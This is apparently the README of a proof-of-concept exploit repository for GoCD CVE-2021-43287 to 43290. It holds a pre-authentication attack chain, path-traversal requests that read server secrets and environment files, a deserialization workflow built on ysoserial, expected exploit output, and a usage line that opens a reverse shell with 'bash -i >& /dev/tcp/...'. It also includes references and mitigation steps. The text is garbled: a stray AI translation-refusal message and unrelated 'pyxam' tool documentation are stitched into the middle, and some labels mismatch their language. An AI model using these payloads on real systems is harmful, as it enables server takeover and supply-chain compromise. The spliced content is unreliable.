subgraph EXPLOIT ["Exploração / Exploitation"]
    E1["CVE-2021-43287\nLeitura do cruise_config\n(tokenGenerationKey + agentAutoRegisterKey)"]
    E2["Path Traversal\nLeitura de /etc/go/jetty.xml\ne /proc/self/environ"]
    E3["Registro de agente falso\nFake agent registration"]
    E4["Desserialização Java\n(AspectJWeaver gadget chains)\nSobrescreve jetty.xml + restart"]
    E5["💥 RCE no servidor GoCD\nRCE on GoCD server"]
    E1 --> E2 --> E3 --> E4 --> E5
end

subgraph PIPELINE ["Pipeline CI/CD comprometido / Compromised CI/CD Pipeline"]
    P1["📦 Build de artefatos\nBinary/artifact build"]
    P2["🧪 Execução de testes\nTest execution"]
    P3["📤 Publicação de pacotes\nPackage publication\n(npm, PyPI, Docker Hub...)"]
    P4["🚀 Deploy em produção\nProduction deployment"]
    P1 --> P2 --> P3 --> P4
end

subgraph IMPACT ["Impacto / Impact"]
    I1["🔑 Vazamento de credenciais\nCredential leak\n(tokens, SSH keys, API keys)"]
    I2["🦠 Backdoor em artefatos\nBackdoor in build artifacts"]
    I3["📂 Exfiltração de código-fonte\nSource code exfiltration"]
    I4["☠️ Ataque à cadeia de suprimentos\nSupply chain attack\n(usuários finais afetados / end users impacted)"]
    I1 & I2 & I3 --> I4
end

ATK --> EXPLOIT
E5 -->|"Controle total do runner\nFull runner control"| PIPELINE
P1 -->|"Artefatos envenenados\nPoisoned artifacts"| I2
P3 -->|"Pacotes maliciosos\nMalicious packages"| I4
P4 -->|"Produção comprometida\nCompromised production"| I4
E5 -->|"Leitura de secrets\nSecrets read"| I1
E5 -->|"Acesso ao repositório\nRepository access"| I3

---

## 3. Vulnerabilità / Vulnerabilities

| CVE | Tipo / Type | CVSS 3.1 | CWE | Auth |
|-----|-------------|:---:|-----|:---:|
| **CVE-2021-43287** | Information Disclosure | **7.5 HIGH** | CWE-200 | ❌ Nenhuma / None |
| **CVE-2021-43288** | Stored XSS | **6.1 MEDIUM** | CWE-79 | Agent |
| **CVE-2021-43289** | Path Traversal — PUT | **8.1 HIGH** | CWE-22 | Agent |
| **CVE-2021-43290** | Path Traversal — GET | **8.1 HIGH** | CWE-22 | Agent |

### CVE-2021-43287 — Business Continuity: vazamento sem autenticação / unauthenticated leak

**[PT]** O endpoint `/go/add-on/business-continuity/api/cruise_config` devolve o XML completo de configuração do servidor **sem exigir autenticação**. O XML contém os atributos do elemento `<server>`, incluindo `agentAutoRegisterKey` e `tokenGenerationKey` — as duas chaves necessárias para registrar agentes e assinar requisições autenticadas. Adicionalmente, o parâmetro `pluginName` do endpoint de plugins aceita sequências de path traversal (`../../../../../../`), permitindo leitura de arquivos arbitrários do sistema — como `/proc/self/environ` e `/etc/go/jetty.xml`.

**[EN]** The `/go/add-on/business-continuity/api/cruise_config` endpoint returns the full server configuration XML **without requiring authentication**. The XML contains the `<server>` element attributes, including `agentAutoRegisterKey` and `tokenGenerationKey` — the two keys needed to register agents and sign authenticated requests. Additionally, the `pluginName` parameter of the plugin endpoint accepts path traversal sequences (`../../../../../../`), allowing arbitrary file reads — such as `/proc/self/environ` and `/etc/go/jetty.xml`.

**Endpoint utilizzati dagli script / Endpoints used by the scripts:**```
GET /go/add-on/business-continuity/api/cruise_config
GET /go/add-on/business-continuity/api/plugin?folderName=&pluginName=../../../../../../proc/self/environ
GET /go/add-on/business-continuity/api/plugin?folderName=&pluginName=../../../../../../etc/go/jetty.xml

### `gocd_urldns.py` — Rilevamento out-of-band / Rilevamento out-of-band```
ATACANTE (com credenciais) / ATTACKER (with credentials)
│
│ [Step 1]  POST /go/auth/security_check  (j_username + j_password)
│            └─► Obtém JSESSIONID
│
│ [Step 2]  GET /go/add-on/business-continuity/api/cruise_config
│            └─► Extrai tokenGenerationKey
│
│ [Step 4]  GET plugin?pluginName=../../../../../../proc/self/environ
│            └─► Lê variáveis de ambiente
│
│ [Step 5]  GET /go/api/agents  (Accept: application/vnd.go.cd+json)
│            └─► Lista agents; seleciona o primeiro com agent_state != "Building"
│                e extrai seu UUID
│
│ [Step 9]  ysoserial URLDNS {interact_url}
│            └─► Serializa gadget URLDNS apontando para servidor de interação DNS
│
│ [Step 10] POST /go/remoting/remoteBuildRepository
│            └─► Envia payload URLDNS com UUID + Authorization HMAC
│
▼
Servidor GoCD desserializa → faz requisição DNS para {interact_url}
DNS callback confirma vulnerabilidade de desserialização

### Ferramentas externas obrigatórias / Mandatory external tools

Ambos os scripts dependem de um JDK 32-bit e do `ysoserial.jar` no diretório de execução.
Both scripts depend on a 32-bit JDK and `ysoserial.jar` in the working directory.

| Ferramenta / Tool | Versão / Version | Finalidade / Purpose |
|---|---|---|
| **ysoserial.jar** | Custom (com gadgets AspectJWeaver) | Geração de payloads serializados |
| **OpenLogic OpenJDK** | `8u332-b09` **x32** | Runtime para ysoserial |

**Estrutura esperada de arquivos / Expected file structure:**```
diretório de execução / working directory
├── gocd_rce_noauth.py
├── gocd_urldns.py
├── ysoserial.jar
└── openlogic-openjdk-8u332-b09-linux-x32/
    └── bin/
        └── java

---

## 6. Ambiente PoC con Docker / PoC Docker Environment

### Avviare il target vulnerabile / Start the vulnerable target```bash
# Clonar / Clone
git clone https://github.com/<usuario>/gocd-cve-poc.git
cd gocd-cve-poc

# Subir apenas o servidor GoCD 20.10.0
# Start only the GoCD 20.10.0 server
docker-compose up -d gocd-server

# Aguardar inicialização (~90s) / Wait for startup (~90s)
docker-compose logs -f gocd-server
# Pronto quando aparecer: "Go server port: 8153"

### Teardown```bash
docker-compose down -v

I cannot translate this content because no source text was provided. The INPUT section is empty.

Please send the actual Markdown content for chunk 23 of 37, and I will translate it from English to Italian following all the rules you specified.```bash
# Reverse shell (ajustar IP e porta / adjust IP and port)
python3 gocd_rce_noauth.py \
    -t http://localhost:8153 \
    -c "bash -i >& /dev/tcp/192.168.1.10/4444 0>&1"

pip install pyxam

git clone https://github.com/example/pyxam.git
cd pyxam
pip install -e .

pip install -e ".[dev]"

from pyxam import XAMAnalyzer

# Inizializza l'analizzatore
analyzer = XAMAnalyzer()

# Analizza un file
results = analyzer.analyze("suspicious.xam")

# Visualizza i risultati
print(results.summary())

from pyxam import XAMAnalyzer, XAMConfig

# Configura l'analizzatore
config = XAMConfig(
    deep_scan=True,
    extract_strings=True,
    detect_obfuscation=True
)

analyzer = XAMAnalyzer(config=config)
results = analyzer.analyze("suspicious.xam")

# Esporta i risultati
results.export_json("report.json")
results.export_html("report.html")

# Analizza un singolo file
pyxam analyze suspicious.xam

# Analizza una directory
pyxam analyze /path/to/samples/

# Output in formato JSON
pyxam analyze suspicious.xam --format json

# Output in formato HTML
pyxam analyze suspicious.xam --format html --output report.html

# Abilita la scansione approfondita
pyxam analyze suspicious.xam --deep-scan

# Estrai le stringhe
pyxam analyze suspicious.xam --extract-strings

# Rileva l'offuscamento
pyxam analyze suspicious.xam --detect-obfuscation

# Imposta il livello di verbosità
pyxam analyze suspicious.xam --verbose

analyzer:
  deep_scan: true
  extract_strings: true
  detect_obfuscation: true
  timeout: 300

output:
  format: json
  verbose: false

logging:
  level: INFO
  file: pyxam.log

export PYXAM_CONFIG=/path/to/config.yaml
export PYXAM_LOG_LEVEL=DEBUG
export PYXAM_TIMEOUT=600

from pyxam import XAMAnalyzer

analyzer = XAMAnalyzer()
results = analyzer.analyze("sample.xam")
print(results.summary())

from pyxam import XAMAnalyzer
import os

analyzer = XAMAnalyzer()

for filename in os.listdir("samples/"):
    if filename.endswith(".xam"):
        filepath = os.path.join("samples/", filename)
        results = analyzer.analyze(filepath)
        print(f"{filename}: {results.summary()}")

from pyxam import XAMAnalyzer, XAMConfig

config = XAMConfig(
    deep_scan=True,
    extract_strings=True,
    detect_obfuscation=True,
    timeout=600
)

analyzer = XAMAnalyzer(config=config)
results = analyzer.analyze("suspicious.xam")

# Esporta i risultati
results.export_json("report.json")
results.export_html("report.html")

pip install pyxam

chmod +r suspicious.xam

pyxam analyze suspicious.xam --timeout 600

export PYXAM_LOG_LEVEL=DEBUG
pyxam analyze suspicious.xam --verbose

https://github.com/example/pyxam/issues

https://github.com/example/pyxam/issues

#### Output previsto / Expected output```
[1] Verificando arquivo cruise_config
Arquivo cruise_config acessível

[2] Lendo atributos do servidor
agentAutoRegisterKey: 3b4c5d6e-...
tokenGenerationKey: 7f8a9b0c-...
artifactsdir: /godata/artifacts
siteUrl: http://localhost:8153/go
...

[3] Verificando arquivo variáveis de ambiente do processo
Arquivo acessível

[4] Verificando arquivo jetty.xml
Arquivo acessível

[5] Criando backup do arquivo jetty.xml
Backup criado

[6] Criando arquivo exploit_jetty.xml
Arquivo criado

[7] Registrando novo agent
Gerando token do agent
Token gerado

Registrando novo agent
Agent registrado
Dados do agent: {'hostname': 'gocd_rce_noauth', 'uuid': 'a1b2c3d4-...', ...}

[8] Serializando objetos
Objetos serializados

[9] Enviando objetos serializados
Enviando exploit_jetty.xml
Arquivo enviado

Enviando comando para forçar reinicialização
Aguardando reinicialização

#### Output previsto / Expected output```
[1] Autenticando
Autenticado com sucesso

[2] Verificando arquivo cruise_config
Arquivo cruise_config acessível

[3] Lendo atributos do servidor
agentAutoRegisterKey: 3b4c5d6e-...
tokenGenerationKey: 7f8a9b0c-...
...

[4] Verificando arquivo variáveis de ambiente do processo
Arquivo acessível

[5] Listando agents
Lista carregada

Buscando GUID de um agent
Localizado agent com status != Building
GUID: 550e8400-e29b-41d4-a716-446655440000

[9] Serializando objetos
b'\xac\xed\x00\x05...'
Objetos serializados

[10] Enviando objeto serializado
<Response [500]>
...
Objeto URLDNS enviado

---

## 8. Riferimenti / References

### CVE — NVD / NIST

| CVE | Link |
|-----|------|
| CVE-2021-43287 | https://nvd.nist.gov/vuln/detail/CVE-2021-43287 |
| CVE-2021-43288 | https://nvd.nist.gov/vuln/detail/CVE-2021-43288 |
| CVE-2021-43289 | https://nvd.nist.gov/vuln/detail/CVE-2021-43289 |
| CVE-2021-43290 | https://nvd.nist.gov/vuln/detail/CVE-2021-43290 |

### Analisi tecnica / Technical writeups

| Risorsa / Resource | URL |
|---|---|
| SonarSource — Agent 007: Pre-Auth Takeover (CVE-2021-43287) | https://blog.sonarsource.com/gocd-pre-auth-pipeline-takeover |
| SonarSource — Agent 008: Chaining Vulnerabilities (CVE-2021-43288/89/90) | https://blog.sonarsource.com/gocd-vulnerability-chain |
| AttackerKB — CVE-2021-43287 | https://attackerkb.com/assessments/9101a539-4c6e-4638-a2ec-12080b7e3b50 |

### Commit di correzione / Fix commits

| CVE | Commit | Modifica / Change |
|-----|--------|-----------------|
| CVE-2021-43287 | [`41abc21`](https://github.com/gocd/gocd/commit/41abc210ac4e8cfa184483c9ff1c0cc04fb3511c) | Auth check in `DashBoardController.java` |
| CVE-2021-43288 | [`f5c1d2a`](https://github.com/gocd/gocd/commit/f5c1d2aa9ab302a97898a6e4b16218e64fe8e9e4) | `StringEscapeUtils.escapeHtml4()` nei nomi degli artefatti |
| CVE-2021-43289 | [`c22e042`](https://github.com/gocd/gocd/commit/c22e0428164af25d3e91baabd3f538a41cadc82f) | `isValidStageCounter()` nell'handler PUT |
| CVE-2021-43290 | [`4c4bb47`](https://github.com/gocd/gocd/commit/4c4bb4780eb0d3fc4cacfc4cfcc0b07e2eaf0595) | `isValidStageCounter()` nell'handler GET |

### Release notes / Versione corretta

- GoCD v21.3.0: https://www.gocd.org/releases/#21-3-0

---

## 9. Cronologia / Timeline

| Data / Date | Evento / Event |
|-------------|----------------|
| 2021-10-18 – 2021-10-21 | SonarSource segnala le vulnerabilità a GoCD tramite HackerOne |
| 2021-10-23 | GoCD pubblica le patch su GitHub |
| 2021-10-26 | GoCD rilascia la versione v21.3.0 con tutte le correzioni |
| 2021-11-04 | CVE -43288, -43289, -43290 assegnati |
| 2022-04-14 | CVE-2021-43287 pubblicato su NVD |

---

## 10. Mitigazione / Mitigation

**[PT]**
1. **Aggiorna** GoCD alla versione **≥ 21.3.0** immediatamente.
2. Se l'add-on Business Continuity non viene utilizzato, **disabilitalo**.
3. **Ruota** `tokenGenerationKey`, `agentAutoRegisterKey` e tutte le credenziali delle pipeline esposte.
4. **Esamina i log** alla ricerca di richieste non autenticate a `/go/add-on/business-continuity/` e POST a `/go/remoting/remoteBuildRepository` con `Content-Type: application/x-java-serialized-object`.
5. Applica la **segmentazione di rete** per limitare l'accesso al server GoCD solo agli host autorizzati.

**[EN]**
1. **Upgrade** GoCD to version **≥ 21.3.0** immediately.
2. If the Business Continuity add-on is not needed, **disable it**.
3. **Rotate** `tokenGenerationKey`, `agentAutoRegisterKey`, and all pipeline credentials that may have been exposed.
4. **Review logs** for unauthenticated requests to `/go/add-on/business-continuity/` and POST requests to `/go/remoting/remoteBuildRepository` with `Content-Type: application/x-java-serialized-object`.
5. Apply **network segmentation** to restrict GoCD server access to authorized hosts only.

---

*A scopo educativo. / For educational purposes only.*